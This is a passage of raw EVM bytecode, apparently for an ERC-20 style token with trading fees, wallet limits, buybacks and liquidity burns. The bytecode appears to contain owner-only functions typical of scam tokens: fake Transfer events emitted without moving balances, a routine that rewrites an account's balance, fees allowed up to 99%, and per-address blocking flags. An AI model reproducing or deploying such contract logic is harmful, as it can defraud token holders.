48015610a0257600080fd5b50610a0b6119c6565b604051610a189190614441565b60405180910390f35b348015610a2d57600080fd5b50610a366119ec565b604051610a4391906142d2565b60405180910390f35b348015610a5857600080fd5b50610a736004803603810190610a6e91906145a5565b6119f2565b005b348015610a8157600080fd5b50610a8a611a17565b604051610a9791906140e6565b60405180910390f35b348015610aac57600080fd5b50610ab5611aa9565b604051610ac291906142d2565b60405180910390f35b348015610ad757600080fd5b50610af26004803603810190610aed91906141a6565b611aaf565b005b348015610b0057600080fd5b50610b09611ac5565b604051610b1691906142d2565b60405180910390f35b348015610b2b57600080fd5b50610b34611acb565b604051610b4191906142d2565b60405180910390f35b348015610b5657600080fd5b50610b5f611ad1565b604051610b6c91906142d2565b60405180910390f35b348015610b8157600080fd5b50610b9c6004803603810190610b9791906145d2565b611ad7565b005b348015610baa57600080fd5b50610bc56004803603810190610bc091906141a6565b611aed565b604051610bd29190614201565b60405180910390f35b348015610be757600080fd5b50610bf0611bba565b604051610bfd91906142d2565b60405180910390f35b348015610c1257600080fd5b50610c2d6004803603810190610c2891906141a6565b611bc0565b604051610c3a9190614201565b60405180910390f35b348015610c4f57600080fd5b50610c6a6004803603810190610c65919061421c565b611bde565b005b348015610c7857600080fd5b50610c936004803603810190610c8e919061421c565b611ca6565b604051610ca09190614441565b60405180910390f35b348015610cb557600080fd5b50610cd06004803603810190610ccb91906145d2565b611cd9565b005b348015610cde57600080fd5b50610ce7611dbd565b604051610cf49190614201565b60405180910390f35b348015610d0957600080fd5b50610d246004803603810190610d1f9190614512565b611dd0565b005b348015610d3257600080fd5b50610d4d6004803603810190610d489190614552565b611e81565b005b348015610d5b57600080fd5b50610d766004803603810190610d7191906142ed565b611f0c565b005b348015610d8457600080fd5b50610d9f6004803603810190610d9a919061421c565b611f9f565b005b348015610dad57600080fd5b50610db6612018565b604051610dc39190614201565b60405180910390f35b348015610dd857600080fd5b50610de161202b565b604051610dee91906142d2565b60405180910390f35b348015610e0357600080fd5b50610e1e6004803603810190610e1991906142ed565b612031565b604051610e2b9190614201565b60405180910390f35b348015610e4057600080fd5b50610e5b6004803603810190610e56919061421c565b612112565b604051610e689190614201565b60405180910390f35b348015610e7d57600080fd5b50610e86612168565b604051610e9391906142d2565b60405180910390f35b348015610ea857600080fd5b50610ec36004803603810190610ebe91906145d2565b61216e565b604051610ed091906142d2565b60405180910390f35b348015610ee557600080fd5b50610eee6121f5565b604051610efb91906142d2565b60405180910390f35b348015610f1057600080fd5b50610f196121fb565b604051610f269190614201565b60405180910390f35b348015610f3b57600080fd5b50610f566004803603810190610f519190614612565b612227565b005b348015610f6457600080fd5b50610f6d6122d4565b604051610f7a91906142d2565b60405180910390f35b348015610f8f57600080fd5b50610faa6004803603810190610fa5919061421c565b6122da565b005b348015610fb857600080fd5b50610fc161240e565b604051610fce91906142d2565b60405180910390f35b348015610fe357600080fd5b50610fec612414565b604051610ff991906142d2565b60405180910390f35b34801561100e57600080fd5b50611029600480360381019061102491906142ed565b61241a565b6040516110369190614201565b60405180910390f35b60606006805461104e906146a1565b80601f016020809104026020016040519081016040528092919081815260200182805461107a906146a1565b80156110c75780601f1061109c576101008083540402835291602001916110c7565b820191906000526020600020905b8154815290600101906020018083116110aa57829003601f168201915b5050505050905090565b60006110e56110de612715565b848461271d565b6001905092915050565b60256020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600854905090565b6111456128e6565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b60115481565b60205481565b601f5481565b6112256128e6565b633b9aca006103e86001611237611133565b6112419190614701565b61124b9190614772565b6112559190614772565b811015611297576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128e90614815565b60405180910390fd5b633b9aca00816112a79190614701565b600b8190555050565b60006112bd848484612964565b61137e846112c9612715565b6113798560405180606001604052806028815260200161585360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061132f612715565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134889092919063ffffffff16565b61271d565b600190509392505050565b6113916128e6565b60005b83839050811015611460578383828181106113b2576113b1614835565b5b90506020020160208101906113c7919061421c565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161144591906142d2565b60405180910390a3808061145890614864565b915050611394565b50505050565b61dead81565b60135481565b601260009054906101000a900460ff1681565b60006009905090565b601560009054906101000a900460ff1681565b600061154a6114ae612715565b8461154585600360006114bf612715565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b61271d565b6001905092915050565b61155c6128e6565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601b5481565b601560029054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116866128e6565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61174c6128e6565b610258831015611791576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117889061491e565b60405180910390fd5b6103e882111580156117a4575060008210155b6117e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117da906149b0565b60405180910390fd5b826013819055508160118190555080601260006101000a81548160ff021916908315150217905550505050565b600061181a6128e6565b6000601560006101000a81548160ff0219169083151502179055506001905090565b6118446128e6565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b6118d36128e6565b826018819055508160198190555080601a81905550601a546019546018546118fb91906149d0565b61190591906149d0565b60178190555060196017541115611951576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194890614a50565b60405180910390fd5b505050565b61195e6128e6565b6001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555042601481905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b6119fa6128e6565b80601560026101000a81548160ff02191690831515021790555050565b606060078054611a26906146a1565b80601f0160208091040260200160405190810160405280929190818152602001828054611a52906146a1565b8015611a9f5780601f10611a7457610100808354040283529160200191611a9f565b820191906000526020600020905b815481529060010190602001808311611a8257829003601f168201915b5050505050905090565b601a5481565b611ab76128e6565b611ac182826134ec565b5050565b60105481565b60215481565b601e5481565b611adf6128e6565b611ae98282611cd9565b5050565b6000611bb0611afa612715565b84611bab8560405180606001604052806025815260200161587b6025913960036000611b24612715565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134889092919063ffffffff16565b61271d565b6001905092915050565b60145481565b6000611bd4611bcd612715565b8484612964565b6001905092915050565b611be66128e6565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611ce16128e6565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601560019054906101000a900460ff1681565b611dd86128e6565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611e759190614201565b60405180910390a25050565b611e896128e6565b82601c8190555081601d8190555080601e81905550601e54601d54601c54611eb191906149d0565b611ebb91906149d0565b601b819055506063601b541115611f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efe90614abc565b60405180910390fd5b505050565b611f146128e6565b633b9aca006103e86005611f26611133565b611f309190614701565b611f3a9190614772565b611f449190614772565b811015611f86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7d90614b4e565b60405180910390fd5b633b9aca0081611f969190614701565b600a8190555050565b611fa76128e6565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612015600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600161183c565b50565b602360009054906101000a900460ff1681565b600b5481565b600061203b6128e6565b620186a06001612049611133565b6120539190614701565b61205d9190614772565b82101561209f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209690614be0565b60405180910390fd5b6103e8600a6120ac611133565b6120b69190614701565b6120c09190614772565b821115612102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f990614c72565b60405180910390fd5b81600c8190555060019050919050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60175481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b60006122056128e6565b6000602360006101000a81548160ff0219169083151502179055506001905090565b61222f6128e6565b60005b838390508110156122ce57816016600086868581811061225557612254614835565b5b905060200201602081019061226a919061421c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806122c690614864565b915050612232565b50505050565b60195481565b6122e26128e6565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612351576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234890614d04565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b600a5481565b60006124246128e6565b600f5460105461243491906149d0565b4211612475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246c90614d70565b60405180910390fd5b6103e88211156124ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b190614e02565b60405180910390fd5b4260108190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161251e9190614441565b602060405180830381865afa15801561253b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061255f9190614e37565b9050600061258a61271061257c86856136b790919063ffffffff16565b61373190919063ffffffff16565b905060008111156125c5576125c4600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead8361377b565b5b600060266000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561269357600080fd5b505af11580156126a7573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846126c691906149d0565b90508381101561270b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270290614eb0565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361278c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278390614f42565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f290614fd4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516128d991906142d2565b60405180910390a3505050565b6128ee612715565b73ffffffffffffffffffffffffffffffffffffffff1661290c613a12565b73ffffffffffffffffffffffffffffffffffffffff1614612962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295990615040565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ca906150d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3990615164565b60405180910390fd5b60008103612a5b57612a568383600061377b565b613483565b601560009054906101000a900460ff161561307257612a7861199d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612ae65750612ab661199d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b1f5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b59575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b725750600960149054906101000a900460ff16155b1561307157601560019054906101000a900460ff16612c6c57602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c2c5750602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612c6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c62906151d0565b60405180910390fd5b5b602360009054906101000a900460ff1615612e3657612c8961199d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d1057507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612d6a5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612e355743602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612df0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612de790615288565b60405180910390fd5b43602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f2957600b54811115612ecc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ec39061531a565b60405180910390fd5b600a54612ed883611635565b82612ee391906149d0565b1115612f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f1b90615386565b60405180910390fd5b613070565b602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612fc457600b54811115612fbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fb690615418565b60405180910390fd5b61306f565b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661306e57600a5461302183611635565b8261302c91906149d0565b111561306d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161306490615386565b60405180910390fd5b5b5b5b5b5b600061307d30611635565b90506000600c5482101590508080156130a25750601560029054906101000a900460ff165b80156130bb5750600960149054906101000a900460ff16155b80156131115750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156131675750602460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156131ab576001600960146101000a81548160ff02191690831515021790555061318f613a26565b6000600960146101000a81548160ff0219169083151502179055505b600960149054906101000a900460ff161580156131d45750601260009054906101000a900460ff165b156131e4576131e285613bae565b505b6000600960149054906101000a900460ff16159050602460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061329a5750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156132a457600090505b60008115613473576000601b54111561337f576132df60646132d1601b54886136b790919063ffffffff16565b61373190919063ffffffff16565b9050601b54601d54826132f29190614701565b6132fc9190614772565b6020600082825461330d91906149d0565b92505081905550601b54601e54826133259190614701565b61332f9190614772565b6021600082825461334091906149d0565b92505081905550601b54601c54826133589190614701565b6133629190614772565b601f600082825461337391906149d0565b9250508190555061344f565b6000601754111561344e576133b260646133a4601754886136b790919063ffffffff16565b61373190919063ffffffff16565b9050601754601954826133c59190614701565b6133cf9190614772565b602060008282546133e091906149d0565b92505081905550601754601a54826133f89190614701565b6134029190614772565b6021600082825461341391906149d0565b925050819055506017546018548261342b9190614701565b6134359190614772565b601f600082825461344691906149d0565b925050819055505b5b60008111156134645761346387308361377b565b5b80856134709190615438565b94505b61347e87878761377b565b505050505b505050565b60008383111582906134d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134c791906140e6565b60405180910390fd5b50600083856134df9190615438565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361355b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613552906154de565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156135e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135d990615570565b60405180910390fd5b816004546135f09190615438565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546136459190615438565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516136aa91906142d2565b60405180910390a3505050565b60008083036136c9576000905061372b565b600082846136d79190614701565b90508284826136e69190614772565b14613726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161371d90615602565b60405180910390fd5b809150505b92915050565b600061377383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c6c565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036137ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137e1906150d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613859576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161385090615164565b60405180910390fd5b613864838383613ccf565b6138d08160405180606001604052806026815260200161582d60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134889092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061396581600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613a0591906142d2565b60405180910390a3505050565b600080613a1d613cd4565b90508091505090565b6000613a3130611635565b90506000602154601f54602054613a4891906149d0565b613a5291906149d0565b9050600080831480613a645750600082145b15613a7157505050613bac565b6014600c54613a809190614701565b831115613a99576014600c54613a969190614701565b92505b600060028360205486613aac9190614701565b613ab69190614772565b613ac09190614772565b90506000613ad78286613d7890919063ffffffff16565b90506000479050613ae782613dc2565b6000613afc8247613d7890919063ffffffff16565b905060006020819055506000601f819055506000602181905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613b5c90615653565b60006040518083038185875af1925050503d8060008114613b99576040519150601f19603f3d011682016040523d82523d6000602084013e613b9e565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613bea9190614441565b602060405180830381865afa158015613c07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c2b9190614e37565b90506000613c44601154836126b790919063ffffffff16565b9050613c4f84613fff565b613c615760008114613c6057600080fd5b5b600192505050919050565b60008083118290613cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613caa91906140e6565b60405180910390fd5b5060008385613cc29190614772565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613d4f5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613d73565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613dba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613488565b905092915050565b6000600267ffffffffffffffff811115613ddf57613dde615668565b5b604051908082528060200260200182016040528015613e0d5781602001602082028036833780820191505090505b5090503081600081518110613e2557613e24614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613eca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613eee91906156ac565b81600181518110613f0257613f01614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613f67307f00000000000000000000000000000000000000000000000000000000000000008461271d565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613fc99594939291906157d2565b600060405180830381600087803b158015613fe357600080fd5b505af1158015613ff7573d6000803e3d6000fd5b505050505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015614090578082015181840152602081019050614075565b60008484015250505050565b6000601f19601f8301169050919050565b60006140b882614056565b6140c28185614061565b93506140d2818560208601614072565b6140db8161409c565b840191505092915050565b6000602082019050818103600083015261410081846140ad565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061413d82614112565b9050919050565b61414d81614132565b811461415857600080fd5b50565b60008135905061416a81614144565b92915050565b6000819050919050565b61418381614170565b811461418e57600080fd5b50565b6000813590506141a08161417a565b92915050565b600080604083850312156141bd576141bc614108565b5b60006141cb8582860161415b565b92505060206141dc85828601614191565b9150509250929050565b60008115159050919050565b6141fb816141e6565b82525050565b600060208201905061421660008301846141f2565b92915050565b60006020828403121561423257614231614108565b5b60006142408482850161415b565b91505092915050565b6000819050919050565b600061426e61426961426484614112565b614249565b614112565b9050919050565b600061428082614253565b9050919050565b600061429282614275565b9050919050565b6142a281614287565b82525050565b60006020820190506142bd6000830184614299565b92915050565b6142cc81614170565b82525050565b60006020820190506142e760008301846142c3565b92915050565b60006020828403121561430357614302614108565b5b600061431184828501614191565b91505092915050565b60008060006060848603121561433357614332614108565b5b60006143418682870161415b565b93505060206143528682870161415b565b925050604061436386828701614191565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126143925761439161436d565b5b8235905067ffffffffffffffff8111156143af576143ae614372565b5b6020830191508360208202830111156143cb576143ca614377565b5b9250929050565b6000806000604084860312156143eb576143ea614108565b5b600084013567ffffffffffffffff8111156144095761440861410d565b5b6144158682870161437c565b9350935050602061442886828701614191565b9150509250925092565b61443b81614132565b82525050565b60006020820190506144566000830184614432565b92915050565b600060ff82169050919050565b6144728161445c565b82525050565b600060208201905061448d6000830184614469565b92915050565b61449c816141e6565b81146144a757600080fd5b50565b6000813590506144b981614493565b92915050565b6000806000606084860312156144d8576144d7614108565b5b60006144e686828701614191565b93505060206144f786828701614191565b9250506040614508868287016144aa565b9150509250925092565b6000806040838503121561452957614528614108565b5b60006145378582860161415b565b9250506020614548858286016144aa565b9150509250929050565b60008060006060848603121561456b5761456a614108565b5b600061457986828701614191565b935050602061458a86828701614191565b925050604061459b86828701614191565b9150509250925092565b6000602082840312156145bb576145ba614108565b5b60006145c9848285016144aa565b91505092915050565b600080604083850312156145e9576145e8614108565b5b60006145f78582860161415b565b92505060206146088582860161415b565b9150509250929050565b60008060006040848603121561462b5761462a614108565b5b600084013567ffffffffffffffff8111156146495761464861410d565b5b6146558682870161437c565b93509350506020614668868287016144aa565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806146b957607f821691505b6020821081036146cc576146cb614672565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061470c82614170565b915061471783614170565b925082820261472581614170565b9150828204841483151761473c5761473b6146d2565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061477d82614170565b915061478883614170565b92508261479857614797614743565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b60006147ff602f83614061565b915061480a826147a3565b604082019050919050565b6000602082019050818103600083015261482e816147f2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061486f82614170565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036148a1576148a06146d2565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b6000614908603383614061565b9150614913826148ac565b604082019050919050565b60006020820190508181036000830152614937816148fb565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b600061499a603083614061565b91506149a58261493e565b604082019050919050565b600060208201905081810360008301526149c98161498d565b9050919050565b60006149db82614170565b91506149e683614170565b92508282019050808211156149fe576149fd6146d2565b5b92915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000614a3a601d83614061565b9150614a4582614a04565b602082019050919050565b60006020820190508181036000830152614a6981614a2d565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000614aa6601d83614061565b9150614ab182614a70565b602082019050919050565b60006020820190508181036000830152614ad581614a99565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614b38602483614061565b9150614b4382614adc565b604082019050919050565b60006020820190508181036000830152614b6781614b2b565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c207